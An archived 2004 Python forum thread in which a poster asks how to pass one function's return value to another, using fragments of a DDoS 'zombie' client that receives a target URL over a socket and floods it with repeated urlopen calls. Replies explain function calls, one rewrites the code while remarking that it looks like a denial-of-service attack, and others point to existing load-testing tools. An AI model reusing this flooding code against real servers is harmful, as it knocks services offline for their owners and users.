passing what a function returns to another function

Discussion in 'Python' started by Bart Nessux, Feb 8, 2004.

  1. Bart Nessux

    Bart Nessux Guest

    I have 2 functions among others. One gets a URL and returns its, For
    example, it returns 'http://127.0.0.1' How can I pass this to another
    function? I've never worked with code that has lots of functions before.

    def receive_targets_url():
    # This recievies the DDOS target's URL
    I = socket(AF_INET, SOCK_STREAM)
    I.bind((DDOS_ZOMBIE_IP, U_PORT))
    I.listen(5)
    conn, addr = I.accept()
    DDOS_TARGET = conn.recv(1024)
    conn.close()
    return DDOS_TARGET

    def receive_commands():
    class threaded_ddos(Thread):
    def run(self):
    for x in xrange(999999999):
    f = urlopen(DDOS_TARGET)
     
    Bart Nessux, Feb 8, 2004
    #1
    1. Advertising

  2. Bart Nessux

    Steven Guest

    On Sun, 08 Feb 2004 11:06:00 +1100, Bart Nessux wrote:

    > I have 2 functions among others. One gets a URL and returns its, For
    > example, it returns 'http://127.0.0.1' How can I pass this to another
    > function? I've never worked with code that has lots of functions before.


    Either store the function result in an intermediate variable, or just call
    the second function directly on the result of the first:

    # method 1: using an intermediate variable
    my_url = receive_target()
    receive_commands(my_url)

    # method 2: call one function directly on the result of the other
    receive_command(receive_target())

    Please note, the way you have written these two functions, I don't believe
    either method will work. In particular, receive_commands() doesn't take
    any arguments, so you have no way to pass it an argument :)

    Also, receive_target appears to be using a lot of global variables, which
    is probably not a good idea. If you have to use globals, it is recommended
    that you declare them that way first, even if you don't strictly need to.

    I would try something like this:

    # WARNING: untested code, almost certainly won't work

    def receive_targets_url(I):
    # This receives the DDOS target's URL...
    # Input: socket I
    # Output: string URL

    # I hope DDOS doesn't stand for Distributed Denial of Service

    global DDOS_ZOMBIE_IP, U_PORT
    # by convention, constants are in ALL UPPERCASE

    I.bind((DDOS_ZOMBIE_IP, U_PORT))
    I.listen(5)
    conn, addr = I.accept()
    ddos_target = conn.recv(1024)
    conn.close()
    return ddos_target

    def receive_commands(url):
    # This receives commands ...
    # Input: url is a string containing the URL to use
    # Output: none

    for i in xrange(999999999):
    # hmmm, this looks like a Denial of Service attack to me...
    # haven't you got something better to do with your time,
    # like maybe writing a natural language parser or something
    # useful and challenging?
    f = urlopen(url)


    --
    Steven D'Aprano
     
    Steven, Feb 8, 2004
    #2
    1. Advertising

  3. > # hmmm, this looks like a Denial of Service attack to me...
    > # haven't you got something better to do with your time,
    > # like maybe writing a natural language parser or something
    > # useful and challenging?
    > f = urlopen(url)


    Tee hee.

    On the one hand, I'm not terribly worried that his 'DDOS' software will
    get too far. Considering that it requires the python runtime, and a few
    other misc libraries, we are talking 1-2 megs per version.

    Maybe he read the recent NY Times article on virus/worm writers and
    wanted to be all 31337.
    http://www.nytimes.com/2004/02/08/magazine/08WORMS.html?adxnnl=1&pagewanted=1

    - Josiah
     
    Josiah Carlson, Feb 8, 2004
    #3
  4. Bart Nessux

    Miki Tebeka Guest

    Hello Bart,

    > I have 2 functions among others. One gets a URL and returns its, For
    > example, it returns 'http://127.0.0.1' How can I pass this to another
    > function? I've never worked with code that has lots of functions before.

    You can either use a varible to store the 1'st result and pass it to
    the 2'nd function of call the 1'st function directly as a parameter:

    >>> def double(x):

    return x * 2

    >>> def triple(x):

    return x * 3
    >>> a = double(2)
    >>> triple(a)

    12
    >>> triple(double(2))

    12

    HTH.
    Miki
     
    Miki Tebeka, Feb 8, 2004
    #4
  5. Bart Nessux

    Bart Nessux Guest

    Steven wrote:
    > for i in xrange(999999999):
    > # hmmm, this looks like a Denial of Service attack to me...
    > # haven't you got something better to do with your time,
    > # like maybe writing a natural language parser or something
    > # useful and challenging?
    > f = urlopen(url)



    Thanks for the tips on functions.

    It is a Denial of Service script written in Python and it is very effective
    (produces loads > 150 on a 1000MHz PowerMac G4 running apache with static
    html pages). It's been written for Unix load testing in an academic
    setting. It will not be misused. Just trying to get the client/server
    details worked out since the scripts have been rewritten to be more
    modular... here's where I ran into problems with functions.

    Again, thanks to all for the tips.
     
    Bart Nessux, Feb 8, 2004
    #5
  6. -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    At 2004-02-08T16:05:06Z, Bart Nessux <> writes:

    > It is a Denial of Service script written in Python and it is very
    > effective (produces loads > 150 on a 1000MHz PowerMac G4 running apache
    > with static html pages). It's been written for Unix load testing in an
    > academic setting.


    OK, that's fine, but you should know that many such tools already exist. If
    the aim of your project is writing one in Python, go for it. If not, your
    time might be better spent using one that's already in production.

    - From a description of http://home.tiscali.cz/~cz210552/webbench.html:

    webbench is very simple HTTP benchmarking tool, which can benchmark both
    WWW and proxy servers. webbench uses fork() for simulating multiple
    clients and supports benchmarking by HTTP/0.9-HTTP/1.1 requests (without
    Keep-Alive). This benchmark is not very realistic, but can test if your
    HTTPD can really handle many clients at once (try to run some CGIs)
    without taking your machine down. I am using this program for setting
    maximum number of Apaches. Webbench displays results in pages/min and
    bytes/sec.


    - --
    Kirk Strauser
    The Strauser Group
    Open. Solutions. Simple.
    http://www.strausergroup.com/
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.4 (GNU/Linux)

    iD8DBQFAJpQH5sRg+Y0CpvERAueyAJ9dY5JQIYkocwyN/X5XLNuI38XSiACdFufi
    auDALXYFDO9QV4AeY9tyUjA=
    =B09Q
    -----END PGP SIGNATURE-----
     
    Kirk Strauser, Feb 8, 2004
    #6
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. vizlab
    Replies:
    3
    Views:
    4,234
    Michael Bar-Sinai
    Oct 17, 2007
  2. ++imanshu
    Replies:
    7
    Views:
    485
    ++imanshu
    Aug 23, 2008
  3. Robert Cohen
    Replies:
    3
    Views:
    291
    Andrew Durstewitz
    Jul 15, 2003
  4. Trans
    Replies:
    2
    Views:
    235
    Trans
    Nov 6, 2005
  5. Srijayanth Sridhar
    Replies:
    19
    Views:
    640
    David A. Black
    Jul 2, 2008
Loading...

Share This Page